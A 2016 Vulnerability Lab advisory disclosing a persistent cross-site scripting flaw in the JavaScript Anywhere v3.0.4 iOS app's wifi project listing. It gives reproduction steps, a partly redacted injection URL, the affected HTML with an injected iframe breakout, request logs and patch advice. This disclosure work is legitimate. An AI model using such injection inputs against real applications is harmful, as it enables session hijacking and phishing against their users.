JavaScript Anywhere v3.0.4 iOS - Persistent Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
JavaScript Anywhere v3.0.4 iOS - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1709


Release Date:
=============
2016-02-08


Vulnerability Laboratory ID (VL-ID):
====================================
1709


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
JavaScript Anywhere is one of the oldest development environment on iOS since 
2010. It`s a simple and portable editing tool 
for web engineers and designers. That`s all. JavaScript Anywhere is minimal 
forever.

Features:
- Write JavaScript, HTML and CSS source code.
- Preview on internal browser.
- Import project / Download images form web.
- Send e-mail / iTunes file sharing to export.
- Configure editor styles.
- Password lock
- Simple server for Wi-Fi
- Export to / Import from Dropbox.

(Copy of the Homepage: 
https://itunes.apple.com/us/app/javascript-anywhere/id363452277 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side 
input validation web vulnerability in the official JavaScript Anywhere v3.0.4 
iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-08:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Tatsuya Tobioka
Product: JavaScript Anywhere - iOS (Web-Application) 3.0.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the 
official JavaScript Anywhere v3.0.4 iOS mobile web-application.
The vulnerability allows an attacker to inject own malicious script codes to 
the application-side of the affected module or function.

The vulnerability is located in the wifi user-interface application, that 
allows to share the projects with another user account. The `title` name 
value of the `New Project (+)` does not encode the inputs. After an attacker 
saved the malicious context as project, he is able to share it by usage 
of the wifi interface function. The wifi interface displays the project title 
names in a listing. The application-side execution occurs in the project 
listing of the wifi interface and the injection point is the project title 
name. The request method to inject is a sync via mobile app and the attack 
vector is located on the application-side.

The security risk of the application-side input web vulnerability is estimated 
as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the persistent web vulnerability requires a low privileged ios 
device account with restricted access and low or medium user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing 
mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Vulnerable Module(s):
                                [+] New Projects

Vulnerable Input(s):
                                [+] Project Name

Vulnerable Parameter(s):
                                [+] bar-title > title & list

Affected Module(s):
                                [+] Wifi UI


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote 
attackers via file excahnge or wifi interface with low or medium user 
interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Download the application and install it to your iOS v9.x device
2. Open the software and create a new project or rename an existing one
3. inject as title value for the project own malicious script code tags with 
external source
4. Save the entry and click to the share function
Note: After clicking to share the project becomes available via wifi 
web-application ui
5. The script code (payload) directly executes in the project index of the wifi 
interface
Note: The issue occurs because of the project name validation is wrong encoded
6. Successful reproduce of the persistent input validation vulnerability in the 
iOS mobile web-application!


PoC: URL (Example)
http://localhost:9000/teste%3E%22%3C[PERSISTENT INJECTED SCRIPT CODE 
PAYLOAD!]%20src%3Da%3E/index.html


PoC: Vulnerable Source
<header class="bar-title">
  <h1 class="title">JavaScript Anywhere</h1>
</header>
  <div class="content">
    <ul class="list"><ul>
<li><a href="/teste%3E%22%3C[PERSISTENT INJECTED SCRIPT 
CODE!]%20src%3Da%3E/index.html" data-ignore="push"><strong>teste>"<iframe 
src="a"></strong><span class="chevron"></span></a></li>
<li><a href="/test/index.html" data-ignore="push"><strong>test</strong><span 
class="chevron"></span></a></li>
<li><a href="/Hello%2C%20JavaScript%20Anywhere!/index.html" 
data-ignore="push"><strong>Hello, JavaScript Anywhere!</strong><span 
class="chevron"></span></a></li>
<ul></iframe></strong></a></li></ul></ul>
  </div>


--- PoC Session Logs [GET] (Execution) ---
Status: 200[OK]
GET http://localhost:9000/teste%3E%22%3C[PERSISTENT INJECTED SCRIPT CODE 
VULNERABILITY!]%20src%3Da%3E/index.html Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[320] Mime Type[text/html]
   Request Header:
      Host[localhost:9000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:9000/]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Content-Length[320]
      Connection[keep-alive]
-
17:30:43.974[45ms][total 45ms] Status: 200[OK]
GET http://localhost:9000/teste%3E%22%3C[PERSISTENT INJECTED SCRIPT CODE 
VULNERABILITY!]%20src%3Da%3E/a[PERSISTENT SCRIPT CODE EXECUTION!] 
Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[23] Mime Type[text/html]
   Request Header:
      Host[localhost:9000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:9000/teste%3E%22%3C[PERSISTENT INJECTED SCRIPT 
CODE VULNERABILITY!]%20src%3Da%3E/index.html]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html; charset=UTF-8]
      Content-Length[23]
      Connection[keep-alive]
-
Status: 200[OK]
GET http://localhost:9000/teste%3E%22%3C[PERSISTENT SCRIPT CODE 
EXECUTION!]%20src%3Da%3E/style.css 
Load Flags[LOAD_NORMAL] Größe des Inhalts[44] Mime Type[text/css]
   Request Header:
      Host[localhost:9000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/css,*/*;q=0.1]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:9000/teste%3E%22%3C[PERSISTENT SCRIPT CODE 
EXECUTION!]%20src%3Da%3E/index.html]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/css]
      Content-Length[44]
      Connection[keep-alive]
-
Status: 200[OK]
GET http://localhost:9000/teste%3E%22%3C[PERSISTENT SCRIPT CODE 
EXECUTION!]%20src%3Da%3E/a Load Flags[LOAD_DOCUMENT_URI  ] Größe des 
Inhalts[23] Mime Type[text/html]
   Request Header:
      Host[localhost:9000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:9000/teste%3E%22%3C[PERSISTENT SCRIPT CODE 
EXECUTION!]%20src%3Da%3E/index.html]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html; charset=UTF-8]
      Content-Length[23]
      Connection[keep-alive]


Note: There are multiple ways to exploit the bug remotly. Email, Dropbox & the 
Wifi Interface!


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable 
title in the add new projects function.
Restrict the input and disallow special chars to prevent further injection 
attacks via wifi interface web-application.
Encode the title output value in the wifi interface and escape the context to 
secure.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the 
javascript anywhere wifi interface is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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